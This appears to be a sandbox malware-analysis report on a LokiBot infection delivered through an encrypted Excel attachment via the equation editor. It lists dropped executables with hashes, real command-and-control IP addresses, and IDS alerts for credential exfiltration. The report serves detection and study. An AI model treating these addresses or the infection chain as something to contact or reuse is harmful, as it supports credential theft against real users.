SHA-512:	8ED1D2EE0C79AFAB19F47EC4DE880C93D5700DB621ACE07D82F32FA3DB37704F31BE2314A7A5B55E4913131BCA85736C9AC3CB5987BEE10F907376D76076E7CA
Malicious:	false
Preview:	......JFIF........................................................... ....+!.$...2"37%"0....................".........................."..............#............."...........................................................!1."AQa..q.#2R....BS.....$3Tb.4D%Crs................................................!R...AQa..1.."Sbq...............?....A.s..M...K.w.....E......!2.H...N.,E.+.i.z.!....-IInD..G....]L.u.R.lV...%aB.k.2mR.<..=."a.u...}},....:..C..I...A9w.....k.....>. .Gi......f.l...2..)..T...JT....a$t5..)..."... .. .. ....Gc..eS.$....6..._=.... d ....HF-.~.$s.9."T.nSF.pARH.@H..=y.B..IP."K$...u.h].#'zZ...2.hZ...K.K..b#s&...c@K.AO..}.6....\..i....."J..-.I/....c.R...f.I.$.....U.>..LNj..........G....wuF.5...RX.9.-(D.[$..[...N%.29.W,...&i.Y6.:q.xi.......o...lJe.B.R+.&..a.m..1.$.,)5.)/..w.1......v.d..l...bB..JLj]wh.SK.L.....%S....NAI.)B7I.e..4.5...6......L.j...eW.=..u....#I...li..l....`R.o.<.......C.`L2...c...W..3.\...K...%.a..M.K.l.Ad...6).H?..2.Rs..3+.

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\DFF43294.jpeg

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 160x160, frames 3
Category:	dropped
Size (bytes):	4396
Entropy (8bit):	7.884233298494423
Encrypted:	false
SSDEEP:	96:1rQzp0lms5HqrrVflQ9MS5Bmy9CSKgpEfSgHk4oPQwb/BD+qSzAGW:1UF0EmEiSS3mKbbpDSk4oYwbBD+qKAX
MD5:	22FEC44258BA0E3A910FC2A009CEE2AB
SHA1:	BF6749433E0DBCDA3627C342549C8A8AB3BF51EB
SHA-256:	5CD7EA78DE365089DDDF47770CDECF82E1A6195C648F0DB38D5DCAC26B5C4FA5
SHA-512:	8ED1D2EE0C79AFAB19F47EC4DE880C93D5700DB621ACE07D82F32FA3DB37704F31BE2314A7A5B55E4913131BCA85736C9AC3CB5987BEE10F907376D76076E7CA
Malicious:	false
Preview:	......JFIF........................................................... ....+!.$...2"37%"0....................".........................."..............#............."...........................................................!1."AQa..q.#2R....BS.....$3Tb.4D%Crs................................................!R...AQa..1.."Sbq...............?....A.s..M...K.w.....E......!2.H...N.,E.+.i.z.!....-IInD..G....]L.u.R.lV...%aB.k.2mR.<..=."a.u...}},....:..C..I...A9w.....k.....>. .Gi......f.l...2..)..T...JT....a$t5..)..."... .. .. ....Gc..eS.$....6..._=.... d ....HF-.~.$s.9."T.nSF.pARH.@H..=y.B..IP."K$...u.h].#'zZ...2.hZ...K.K..b#s&...c@K.AO..}.6....\..i....."J..-.I/....c.R...f.I.$.....U.>..LNj..........G....wuF.5...RX.9.-(D.[$..[...N%.29.W,...&i.Y6.:q.xi.......o...lJe.B.R+.&..a.m..1.$.,)5.)/..w.1......v.d..l...bB..JLj]wh.SK.L.....%S....NAI.)B7I.e..4.5...6......L.j...eW.=..u....#I...li..l....`R.o.<.......C.`L2...c...W..3.\...K...%.a..M.K.l.Ad...6).H?..2.Rs..3+.

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\F6DBF9C2.png

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PNG image data, 458 x 211, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	11303
Entropy (8bit):	7.909402464702408
Encrypted:	false
SSDEEP:	192:O64BSHRaEbPRI3iLtF0bLLbEXavJkkTx5QpBAenGIC1bOgjBS6UUijBswpJuaUSt:ODy31IAj0bL/EKvJkVFgFg6UUijOmJJN
MD5:	9513E5EF8DDC8B0D9C23C4DFD4AEECA2
SHA1:	E7FC283A9529AA61F612EC568F836295F943C8EC
SHA-256:	88A52F8A0BDE5931DB11729D197431148EE9223B2625D8016AEF0B1A510EFF4C
SHA-512:	81D1FE0F43FE334FFF857062BAD1DFAE213EED860D5B2DD19D1D6875ACDF3FC6AB82A43E46ECB54772D31B713F07A443C54030C4856FC4842B4C31269F61346D
Malicious:	false
Preview:	.PNG........IHDR..............P.l....sRGB.........gAMA......a.....pHYs...t...t..f.x..+.IDATx...\|.e............{......z.Y8..DiE.46.@.$$....+!.T.H/..M6..RH.l.R.!AC...>3;3;..4..~...>3.<.<..7.<3..555........c...xo.Z.X.J...Lhv.u.q..C..D......-...#n...!.W..#...x.m..&.S........cG.... s..H.=......,...(((HJJR.s..05J...2m.....=..R..Gs....G.3.z..."............(..1$..)..[..c&t..ZHv..5....3#..~8....Y...............e2...?.0.t.R}ZI..`.&.......rO..U.mK..N.8..C...[..\....G.^y.U.....N.....eff.....A....Z.b.YU....M.j.vC+\.gu..0v..5...fo.....'......^w..y....O.RSS....?.."L.+c.J....ku$._...Av...Z...*Y.0.z..zMsrT.:.<.q.....a.......O.....$2.=\|.0.0..A.v..j....h..P.Nv......,.0....z=...I@8m.h.:]..B.q.C.......6...8qB......G\.."L.o..[)..Z.XuJ.pE..Q.u.:..$[K..2.....zM=`.p.Q@.o.LA../.%....EFsk:z...9.z......>z..H,.{{{...C....n..X.b....K.:..2,...C....;.4....f1,G.....p\|f6.^._.c..'''Qll..........W.[..s..q+e.:.\|..(....aY..yX....}...n.u..8d...L...:B."zuxz..^..m;p..(&&....

C:\Users\user\AppData\Local\Temp\2v0cucir72x

Download File

Process:	C:\Users\Public\vbc.exe
File Type:	data
Category:	dropped
Size (bytes):	219608
Entropy (8bit):	7.9897314726108535
Encrypted:	false
SSDEEP:	3072:HeVPHh1pYGP+TmX9fEv0W8Uc3pLmEavCycHI77blslGnM4Xryc7oxwdO8cRMJa3m:HeVfhf2uUSad7io3r2xGO8cRMYNrG+i
MD5:	AC8E973D953305B03019CDB74006099C
SHA1:	7976E0BE0FC69E238DAF16DB2BFF833340536C4E
SHA-256:	2F62F941918151FCED3AD854B37DCDA1E40E91432D772781EBC2118E28987B41
SHA-512:	3719354FA157A48C919AC13D1DA71DF1142D24448462355B83BD52FC3D3B8F8BF39E052FAFA3E9A961B3ED200FBBE8BD5C84716B9782392C75EFF34ADFFF38AB
Malicious:	false
Preview:	.:L...at.(.i.;T.7.......fRp.C..+.`..#......4.]./.sI.E.<.....2....HP.}.J..H.T.....4....Q%M.[.p}.).!x.Y.e.z.b..E......F.3.T.6.:.Y`...^.......{[...M.GM..h.4T.y...g.5.88M..78.g.-_........;._... ..9.Rz.....2...4L..dd.g.%F...."n.]..L:.k.Wn.&............k...=....R[..di..@...^......%p....+x+..#...a..4!]....I.E.f.@...2.q.R.P./.-........A ...x.....;.c..5.5...s..~?^.....w.D...3.T.6..'d....GAy.N.9.}..F.. zk.!$....yG...<....d.....#..1K5wD.'ZYU.d...o..........N...e.0...q}j=..U...<....B.Wn.......g...2+.{...=..p.at.(.i'.T..........Rp...+&`...x.....4.]./.sIiE.....^..2.jH.P.3.-.....A....x.....@.c..(.5...s..~?^..E<.wd.....3.T.6..'d...vGAy.N.9.}..F.. zk.!$....yG...<....d.....#..1K5wD.'ZYU.d...o.1o.......N...e.0...q}j=..U...<.L:.k.Wn.@.....g..P.+.k...=..p.at.(.i..T.......YfRp.C..+.`..#......4.]./.sI.E.<.....2.q...P./.-.......A....x.....;.c..5.5...s..~?^..E..wd.D...3.T.6..'d....GAy.N.9.}..F.. zk.!$....yG...<....d.....#..*1K5wD.'ZYU.d...o.1o.......N...e.0...q}j=..U...<.

C:\Users\user\AppData\Local\Temp\npotbzd

Download File

Process:	C:\Users\Public\vbc.exe
File Type:	data
Category:	dropped
Size (bytes):	4858
Entropy (8bit):	6.17383796672968
Encrypted:	false
SSDEEP:	96:nt0EwCLn8tWfofJ1QSZe8ozFieNdFhpQbxxszw8PX/9LOz8AQK:t5n8kUHQSwFieNdFhGbH8PXIz8AQK
MD5:	CB3FBCC52C7B5805ACF1F81D65488D89
SHA1:	EAD5B088DA9F7466D9E10537A449A2F8C7505E85
SHA-256:	05FB79420AADA2C2199CABAD68F4D6483127D2D803A5FD4E755008E78A977931
SHA-512:	9CFB8EA161797F5131AC4780CBEE9FB8E56FADEEEBEC7D39BFC96416F1949D5E0247FA0F7B1E71C415BC9A08CCE1AAFF4003BBA9221CFB7F77A629794F8933CD
Malicious:	false
Preview:	..z.......U.......b..bf,5b..bf,.....:,.].........a..e.,.......,..1..a..e.,.......,%.)..a..e.,..&....,=.!..a..e.,.......,...de..+.}.....,a..,5.9.,e...F .,....,.......F#.e....,........,.......9..F.......y.>^........%...=X....X...5.....l..e...a...u........X..,}b..,.........:Yy.v.....yt>......,........a......b..bf,..,}...,a.u.,}....e.i....Y...,..,}..U..}...,........a..g...m.........i....2............}..t.............}......]b..bf,.:,.e....,..,..d...g.,.....,.U.,..,..,..9.i...l.W.,}.}.. ..Yt..t1.,..}..8..Yt..t1...}.....Y......2..(.....?....,..b.,....}......,..d.........z:,......,............Ub..bf,.:,.]....,..,..d...g.,.....,.U.,..,..,..9.....l.b......,}.}.. ..Yt..t..,a.}..8..Yt..t..,e.}.(8.Yt..t..,iF .}..#..Y\|..\|..,..}..8..Yt..t..}.....Y...g...7.....6....,..dM..}.,...M...J..M..i..e..a..}.*....,..d.........z:,......,.....i......q:,.e....,9.,..d...g.,.....,.U.,..,..,..9.....l.W.,}.}.. ..Yt9.t..,a.}..8..Yt9.t....}.....Y.9..t...Z.....y....,.....

C:\Users\user\AppData\Local\Temp\nsk9C03.tmp

Download File

Process:	C:\Users\Public\vbc.exe
File Type:	data
Category:	dropped
Size (bytes):	354872
Entropy (8bit):	7.605710868367885
Encrypted:	false
SSDEEP:	6144:oIeVfhf2uUSad7io3r2xGO8cRMYNrG+ehVpsA7bejlOmKCS:OhfZ07isKRZrleV7/+4mKCS
MD5:	EE5B2397743F917D9F93DF1631178B23
SHA1:	2F039C1927989531F121F34D6BF43DEB5703405E
SHA-256:	6B105FD88793034BDD4A7B6A45E7EC131C36C20D8FAABC4B4AEA557C905C73D5
SHA-512:	82DB48AE41CC1A0069CDDC2B9A5E28E9197521C59EA580500C577F39B5B3D0D7F4D8EEF186204FB33C7A12D7627F949BEE98890CC9F07E91182740B860E37D85
Malicious:	false
Preview:	V.......,...................C...................V...........................................................................................................................................................................................................................................J...............h...j...............................................................................................................................>...........!...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\xmtxpy.exe

Download File

Process:	C:\Users\Public\vbc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	125440
Entropy (8bit):	6.382878598936808
Encrypted:	false
SSDEEP:	3072:8WbTBVpk7JTDA7SbfsejlOmaDjCsOPthVE:jhVpsA7bejlOmKCS
MD5:	1EACD504E4461F9EE286715997D8A9EE
SHA1:	64554FE410BB0B335373E99D2F8AA37800F30FDD
SHA-256:	DE398BE02D5ABE9C8BCE84380AC5303EA00FC00820A50CAD007220F24538B3DE
SHA-512:	A253CEC08A167F348D84677F6A992AE306F607C9AD9A10EF6AF03288E7D4A158A07056A50A0909E22B1A89B79386EA44C984754018A25817E22FF6167A6A6156
Malicious:	true
Joe Sandbox View:	Filename: RhACfIARBK.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........oa...2...2...2..2...2..2...2..2...2..3...2...2...2...3...2...2...2...3...2Rich...2........PE..L......b.................x........................@..........................@.......o....@.......................................... .......................0......................................p...@............................................text....w.......x.................. ..`.rdata..*K.......L...\|..............@..@.data... 0..........................@....rsrc........ ......................@..@.reloc.......0......................@..B........................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DF4C8DE484D23B018C.TMP

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DF4CA76D9E63A218F3.TMP

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	CDFV2 Encrypted
Category:	dropped
Size (bytes):	191736
Entropy (8bit):	7.958679742635318
Encrypted:	false
SSDEEP:	3072:W3x5yiKm7/AJj6GEOux8NBVuVnDcq3QT0PyYC9v1EFVW3NdR31od+xXfwsRYXn0D:uam7/AJ6GsWBVuV4MaB9voVWdT3iWPws
MD5:	CF8B307CAA943326EE808BB3CB02DEEE
SHA1:	705C25ADBDB7B805E47566540B3804EBA178E7DA
SHA-256:	CBE84E2C523FD51DABB1365DF50415FFC51F8159C36798061742F08BA5D31B9B
SHA-512:	CFC3AE790C2E17051A4B03214BAEFD44EB30E8601BF8AFD2D711CD197263854E96C19C2486A8838A1971607E09AD6728F6B9D8D982F6395B1FFC7D9C7EB599AA
Malicious:	false
Preview:	......................>................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................... ...!..."...#...$...%...&...'...(...)...*...+...,...-......./...0...1...2...3...4...5...6...7...8...9...:...;...<...=...>...?...@...A...B...C...D...E...F...G...H...I...J...K...L...M...N...O...P...Q...R...S...T...U...V...W...X...Y...Z...[...\...]...^..._...`...a...b...c...d...e...f...g...h...i...j...k...l...m...n...o...p...q...r...s...t...u...v...w...x...y...z...

C:\Users\user\AppData\Local\Temp\~DF77B28016FA4D6C0D.TMP

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DFAC55491B3B868135.TMP

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\CF97F5\5879F5.exe (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\xmtxpy.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	125440
Entropy (8bit):	6.382878598936808
Encrypted:	false
SSDEEP:	3072:8WbTBVpk7JTDA7SbfsejlOmaDjCsOPthVE:jhVpsA7bejlOmKCS
MD5:	1EACD504E4461F9EE286715997D8A9EE
SHA1:	64554FE410BB0B335373E99D2F8AA37800F30FDD
SHA-256:	DE398BE02D5ABE9C8BCE84380AC5303EA00FC00820A50CAD007220F24538B3DE
SHA-512:	A253CEC08A167F348D84677F6A992AE306F607C9AD9A10EF6AF03288E7D4A158A07056A50A0909E22B1A89B79386EA44C984754018A25817E22FF6167A6A6156
Malicious:	false
Joe Sandbox View:	Filename: RhACfIARBK.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........oa...2...2...2..2...2..2...2..2...2..3...2...2...2...3...2...2...2...3...2Rich...2........PE..L......b.................x........................@..........................@.......o....@.......................................... .......................0......................................p...@............................................text....w.......x.................. ..`.rdata..*K.......L...\|..............@..@.data... 0..........................@....rsrc........ ......................@..@.reloc.......0......................@..B........................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\CF97F5\5879F5.lck

Download File

Process:	C:\Users\user\AppData\Local\Temp\xmtxpy.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-966771315-3019405637-367336477-1006\f554348b930ff81505ce47f7c6b7d232_ea860e7a-a87f-4a88-92ef-38f744458171

Download File

Process:	C:\Users\user\AppData\Local\Temp\xmtxpy.exe
File Type:	data
Category:	dropped
Size (bytes):	46
Entropy (8bit):	1.0424600748477153
Encrypted:	false
SSDEEP:	3:/lbWwWl:sZ
MD5:	3B7B4F5326139F48EFA0AAE509E2FE58
SHA1:	209A1CE7AF7FF28CCD52AE9C8A89DEE5F2C1D57A
SHA-256:	D47B073BF489AB75A26EBF82ABA0DAB7A484F83F8200AB85EBD57BED472022FC
SHA-512:	C99D99EA71E54629815099464A233E7617E4E118DD5B2A7A32CF41141CB9815DF47B0A40D1A9F89980C307596B53DD63F76DD52CF10EE21F47C635C5F68786B5
Malicious:	false
Preview:	........................................user.

C:\Users\user\Desktop\~$_2201S_BUSAN_HOCHIMINH_.xlsx

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	165
Entropy (8bit):	1.4377382811115937
Encrypted:	false
SSDEEP:	3:vZ/FFDJw2fV:vBFFGS
MD5:	797869BB881CFBCDAC2064F92B26E46F
SHA1:	61C1B8FBF505956A77E9A79CE74EF5E281B01F4B
SHA-256:	D4E4008DD7DFB936F22D9EF3CC569C6F88804715EAB8101045BA1CD0B081F185
SHA-512:	1B8350E1500F969107754045EB84EA9F72B53498B1DC05911D6C7E771316C632EA750FBCE8AD3A82D664E3C65CC5251D0E4A21F750911AE5DC2FC3653E49F58D
Malicious:	true
Preview:	.user ..A.l.b.u.s. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C:\Users\Public\vbc.exe

Download File

Process:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Category:	dropped
Size (bytes):	295124
Entropy (8bit):	7.944502610174892
Encrypted:	false
SSDEEP:	6144:ow2pJekU4t1+9AJci0mJVmkzcOsggBk4u9aTTozAlJixJFfDqXR0e:eJekU4zuAJv0mupOtWu9aIcTR0e
MD5:	7DF1896047D9647D818080DD17563D92
SHA1:	A7C2BC04EC70C0F439E2A0863096FA7D391F79C5
SHA-256:	9CBED5EFF56E1C08B6040C8AB4977E76528D59368D9D0550626B5380513ECB7B
SHA-512:	1558B4573F82B4B6F34E96591A5A4CF4533C30BEC9D65C3BC1435FEB0119F23EB91E5C7E771D58F502199BB3CDE272C3135CD8A8F3944D87E8759D23A340D01D
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........uJ...$...$...$./.{...$...%.:.$.".y...$..7....$.f."...$.Rich..$.................PE..L......H.................Z..........%2.......p....@..........................................................................s.......................................................................................p...............................text...vY.......Z.................. ..`.rdata.......p.......^..............@..@.data................p..............@....ndata.......@...........................rsrc................t..............@..@........................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	CDFV2 Encrypted
Entropy (8bit):	7.958679742635318
TrID:	Generic OLE2 / Multistream Compound File (8008/1) 100.00%
File name:	_2201S_BUSAN_HOCHIMINH_.xlsx
File size:	191736
MD5:	cf8b307caa943326ee808bb3cb02deee
SHA1:	705c25adbdb7b805e47566540b3804eba178e7da
SHA256:	cbe84e2c523fd51dabb1365df50415ffc51f8159c36798061742f08ba5d31b9b
SHA512:	cfc3ae790c2e17051a4b03214baefd44eb30e8601bf8afd2d711cd197263854e96c19c2486a8838a1971607e09ad6728f6b9d8d982f6395b1ffc7d9c7eb599aa
SSDEEP:	3072:W3x5yiKm7/AJj6GEOux8NBVuVnDcq3QT0PyYC9v1EFVW3NdR31od+xXfwsRYXn0D:uam7/AJ6GsWBVuV4MaB9voVWdT3iWPws
File Content Preview:	........................>......................................................................................................................................................................................................................................

File Icon


Icon Hash:	e4e2aa8aa4b4bcb4

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
02/10/22-10:21:59.753805	TCP	2024312	ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M1	49166	80	192.168.2.22	172.67.197.66
02/10/22-10:21:59.753805	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49166	80	192.168.2.22	172.67.197.66
02/10/22-10:21:59.753805	TCP	2025381	ET TROJAN LokiBot Checkin	49166	80	192.168.2.22	172.67.197.66
02/10/22-10:21:59.753805	TCP	2024317	ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M2	49166	80	192.168.2.22	172.67.197.66
02/10/22-10:22:02.840347	TCP	2024312	ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M1	49167	80	192.168.2.22	172.67.197.66
02/10/22-10:22:02.840347	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49167	80	192.168.2.22	172.67.197.66
02/10/22-10:22:02.840347	TCP	2025381	ET TROJAN LokiBot Checkin	49167	80	192.168.2.22	172.67.197.66
02/10/22-10:22:02.840347	TCP	2024317	ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M2	49167	80	192.168.2.22	172.67.197.66
02/10/22-10:22:03.831670	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49168	80	192.168.2.22	172.67.197.66
02/10/22-10:22:03.831670	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49168	80	192.168.2.22	172.67.197.66
02/10/22-10:22:03.831670	TCP	2025381	ET TROJAN LokiBot Checkin	49168	80	192.168.2.22	172.67.197.66
02/10/22-10:22:03.831670	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49168	80	192.168.2.22	172.67.197.66
02/10/22-10:22:04.920208	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49169	80	192.168.2.22	172.67.197.66
02/10/22-10:22:04.920208	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49169	80	192.168.2.22	172.67.197.66
02/10/22-10:22:04.920208	TCP	2025381	ET TROJAN LokiBot Checkin	49169	80	192.168.2.22	172.67.197.66
02/10/22-10:22:04.920208	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49169	80	192.168.2.22	172.67.197.66
02/10/22-10:22:05.958935	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49170	80	192.168.2.22	104.21.49.244
02/10/22-10:22:05.958935	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49170	80	192.168.2.22	104.21.49.244
02/10/22-10:22:05.958935	TCP	2025381	ET TROJAN LokiBot Checkin	49170	80	192.168.2.22	104.21.49.244
02/10/22-10:22:05.958935	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49170	80	192.168.2.22	104.21.49.244
02/10/22-10:22:07.006112	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49171	80	192.168.2.22	172.67.197.66
02/10/22-10:22:07.006112	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49171	80	192.168.2.22	172.67.197.66
02/10/22-10:22:07.006112	TCP	2025381	ET TROJAN LokiBot Checkin	49171	80	192.168.2.22	172.67.197.66
02/10/22-10:22:07.006112	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49171	80	192.168.2.22	172.67.197.66
02/10/22-10:22:08.131839	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49172	80	192.168.2.22	104.21.49.244
02/10/22-10:22:08.131839	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49172	80	192.168.2.22	104.21.49.244
02/10/22-10:22:08.131839	TCP	2025381	ET TROJAN LokiBot Checkin	49172	80	192.168.2.22	104.21.49.244
02/10/22-10:22:08.131839	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49172	80	192.168.2.22	104.21.49.244
02/10/22-10:22:09.274963	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49173	80	192.168.2.22	172.67.197.66
02/10/22-10:22:09.274963	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49173	80	192.168.2.22	172.67.197.66
02/10/22-10:22:09.274963	TCP	2025381	ET TROJAN LokiBot Checkin	49173	80	192.168.2.22	172.67.197.66
02/10/22-10:22:09.274963	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49173	80	192.168.2.22	172.67.197.66
02/10/22-10:22:10.415912	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49174	80	192.168.2.22	104.21.49.244
02/10/22-10:22:10.415912	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49174	80	192.168.2.22	104.21.49.244
02/10/22-10:22:10.415912	TCP	2025381	ET TROJAN LokiBot Checkin	49174	80	192.168.2.22	104.21.49.244
02/10/22-10:22:10.415912	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49174	80	192.168.2.22	104.21.49.244
02/10/22-10:22:11.483873	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49175	80	192.168.2.22	104.21.49.244
02/10/22-10:22:11.483873	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49175	80	192.168.2.22	104.21.49.244
02/10/22-10:22:11.483873	TCP	2025381	ET TROJAN LokiBot Checkin	49175	80	192.168.2.22	104.21.49.244
02/10/22-10:22:11.483873	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49175	80	192.168.2.22	104.21.49.244
02/10/22-10:22:12.553926	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49176	80	192.168.2.22	172.67.197.66
02/10/22-10:22:12.553926	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49176	80	192.168.2.22	172.67.197.66
02/10/22-10:22:12.553926	TCP	2025381	ET TROJAN LokiBot Checkin	49176	80	192.168.2.22	172.67.197.66
02/10/22-10:22:12.553926	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49176	80	192.168.2.22	172.67.197.66
02/10/22-10:22:13.627098	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49177	80	192.168.2.22	104.21.49.244
02/10/22-10:22:13.627098	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49177	80	192.168.2.22	104.21.49.244
02/10/22-10:22:13.627098	TCP	2025381	ET TROJAN LokiBot Checkin	49177	80	192.168.2.22	104.21.49.244
02/10/22-10:22:13.627098	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49177	80	192.168.2.22	104.21.49.244
02/10/22-10:22:14.784465	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49178	80	192.168.2.22	172.67.197.66
02/10/22-10:22:14.784465	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49178	80	192.168.2.22	172.67.197.66
02/10/22-10:22:14.784465	TCP	2025381	ET TROJAN LokiBot Checkin	49178	80	192.168.2.22	172.67.197.66
02/10/22-10:22:14.784465	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49178	80	192.168.2.22	172.67.197.66
02/10/22-10:22:15.879811	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49179	80	192.168.2.22	172.67.197.66
02/10/22-10:22:15.879811	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49179	80	192.168.2.22	172.67.197.66
02/10/22-10:22:15.879811	TCP	2025381	ET TROJAN LokiBot Checkin	49179	80	192.168.2.22	172.67.197.66
02/10/22-10:22:15.879811	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49179	80	192.168.2.22	172.67.197.66
02/10/22-10:22:17.222000	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49180	80	192.168.2.22	172.67.197.66
